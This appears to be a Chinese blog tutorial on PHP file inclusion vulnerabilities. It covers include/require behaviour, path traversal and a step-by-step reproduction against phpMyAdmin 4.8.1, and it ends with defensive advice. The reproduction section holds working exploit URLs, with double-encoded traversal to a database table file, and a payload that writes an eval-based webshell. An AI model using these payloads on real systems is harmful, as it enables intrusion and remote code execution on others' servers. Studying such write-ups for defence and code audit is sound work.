application.properties引用其他文件_代码审计文件包含

1.文件包含定义

攻击者利用包含的特性,加上应用本身对文件(包含)控制不严格,最终造成攻击者进行任意文件包含。

(注:包含的文件会被当成脚本文件来解析)

文件包含本身并不属于漏洞,但是,由于对包含进来的文件不可控,导致了文件包含漏洞的产生。

包含文件本身很有用,可以简化代码。

2.分类

2.1. 本地文件包含

包含服务器上的资源

叫做 LFI(local file inclusion)

2.2. 远程文件包含

通过http协议包含其他地方的资源,

例如:require(‘http://59.63.200.79:8010/1.txt’);

叫做:RFI(remote file inclusion)

默认不开启,需要allow_url_include = On

2.2.1. 开启

php-ini 中 allow_url_include = on

配置完需重启一下 apache

2c1c6d5ca4dfa9e436fc4cc69c16f73c.png

ba39706c5c3c0875343bc43def545832.png

3.PHP函数

3.1. include

使用include引用外部文件时,只有代码执行到include代码段时,调用的外部文件才会被引用并读取,当引用的文件发生错误时,系统只会给出个警告错误,而整个php文件会继续执行

3.1.1. 示例

在 1.txt 中输入 phpinfo();

在 index.php 中写入 include('1.txt');

访问本地

cdc9cf5e7ae9e70e408285b8a23e562d.png

12ef5a56add3b18301f7bd54de21ec27.png

3.1.2.

当在 index.php 中写入include('2.txt');时会报错

不存在2.txt

不会影响代码往下执行

05e7331355c2bf3f646fb4efb0133adf.png

3.2. require

在php文件被执行之前,php解析器会用被引用的文件的全部内容替换require语句,然后与require语句之外的其他语句组成个新的php文件,最后按新的php文件执行程序代码

3.2.1.

将include替换为require

123不再输出,出现问题后不再往下执行

111e435799c1f05efaad4bbd55aa23f7.png

3.2.2.

将1.txt重命名为1.jpg仍能当作php执行

不在乎后缀

75bb8bb37d975f40113ab45d35dc3b54.png

3.3.  include_once与require_once

与前两个类似,区别在于被包含过了,就不会再被包含

4.相对路径与绝对路径

4.1. 相对路径的使用

../../../文件名

C盘下有一个名为flag.jpg的图片马

930078df15169d98e7a7b9333fb88693.png

刷新页面

beced6b97713fa8b2d83435aee491643.png

传参 /?a=phpinfo(); 成功执行

4b5413db99bf723ded1b440356bb24c5.png

已经可以连接菜刀了

如果想要写一个马进去,

传参/?a=file_put_contents(‘8.php’,’’);

4.2.绝对路径

开头带盘符

C:/flag.jpg

4.3.小知识

Cmd中

4.3.1.cd ../

跳到上级目录

a7c8514f6141181a32d7dc9d5773c38a.png

4.3.2. cd 文件夹名

跳到该文件夹

3fb81be08e24017d9517518fb317fdcb.png

4.3.3. php中

在php中这样写

http://192.168.19.131/lfi/2.php?a=qweqweqwe/../../../phpstudy/WWW/lfi/1.txt

也是可以找到需要的文件的,

因为qweqweqwe在相对路径情况下,会被理解成是一个文件夹

2f5c0db1d4023d5cde1c0c1186e4eb44.png

但在php不可以写一些特殊字符来进行传参

如传参?a=@#hiohio*os$%^^$/../../1.txt

4.4.文件包含需要传参时

加&

可以写

http://192.168.19.131/lfi/2.php?a=1.txt&q=phpinfo();

5.漏洞复现

5.1.环境

phpMyAdmin4.8.1

非常常见

f8096b94b48ad9a6b85445f072ca1ce5.png

5.2.代码审计

5.2.1.

Seay中直接搜索include,发现漏洞

964cb8cf0bc72317020e2b6bf6f1d9f6.png

5.2.1.1.
Include $_REQUEST[‘target’]执行条件

56127703167dadbe1d647efe4bb38c24.png

  1. 传参不为空

  2. 传入的target要是一个字符串

  3. 不能为/index/开头

  4. 不在$target_blacklist数组中

      传参不能出现 import.php 或 export.php

    f749edc4bd245fdc42991684644e7dde.png

  5. 满足Core类中的checkPageValidity函数

    ::类的方法

5.2.2. checkPageValidity函数

需要$page在$whitelist数组中,才能返回true

f2911f59c61609c915056f30b3d2ab0f.png

5.2.3. $whitelist

1f8e1fe63d967b05545e3b2cd094bff7.png

5.2.4. $goto_whitelist

66747984cb2b035e07833f36e71389eb.png

5.2.5.

其中当遇到问号时,会进行截断

58dba5df995844339288041c33cafb53.png

5.2.6. 小知识

Get传参会默认一次url解码

5.2.7. Urlcode()函数

进行一次url解码

6f18ef1d6ee9104f8b35de60696539cd.png

5.3. 登录

账号密码root

cf1a608836954c8233f1f84c79eefe35.png

5.4. 新建数据库

c7d904aafdeddbaa72bc1ce5dc76bf99.png

7fe6bc7c35fca59a1958cfadce1f8071.png

5.5.

在表中写入一句话木马

5.5.1.

在名字处写入后点击保存

a0e67990caedb43547e54a85023caf95.png

5.5.2.查看结构

80b3d166d2ca206b33cdd35ea5bf4dad.png

5.6.回到index目录

2af2c52f4a6967a05aeba12a5c587ad2.png

5.7.构造攻击

?target=db_sql.php%253f../../../../../../../phpstudy/MySQL/data/zzy/yy.frm&a=phpinfo();

db_sql.php为白名单中内容

zzy为前面新建的数据库名,yy.frm为表名

b38513189e40481231e0baf140d9d6f2.png

5.8.写入木马

?target=db_sql.php%253f../../../../../../../phpstudy/MySQL/data/zzy/yy.frm&a=file_put_contents(‘xyy.php’,’<?php @eval($_REQUEST["hack"]); ?>’);

c6f608315a9f1bc915dd66af788f1f82.png

4acbc0a222a164fe7736015e5eb988d6.png

5.9.

访问 xyy.php?hack=phpinfo();

成功

018b8153d4c92611d7430f48eaf1362a.png

5.10.连接菜刀

3039718130c660884ba4af92512be3b8.png

5.11.其他

将代码从word复制到url栏时,一些符号会转换为中文

6.防御

  1. 无需情况下设置allow_url_include和allow_url_fopen为关闭

  2. 对可以包含的文件进行限制,可以使用白名单的方式,或者设置可以包含的open_basedir

  3. 建议假定所有输入都是可疑的,尝试对所有输入提交可能可能包含的文件地址,包括     服务器本地文件及远程文件,进行严格的检查,参数中不允许出现../之类的目录跳转符。

  4. 严格检查include类的文件包含函数中的参数是否外界可控。

end

954c3c8d729e52ca20e262105bb52806.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值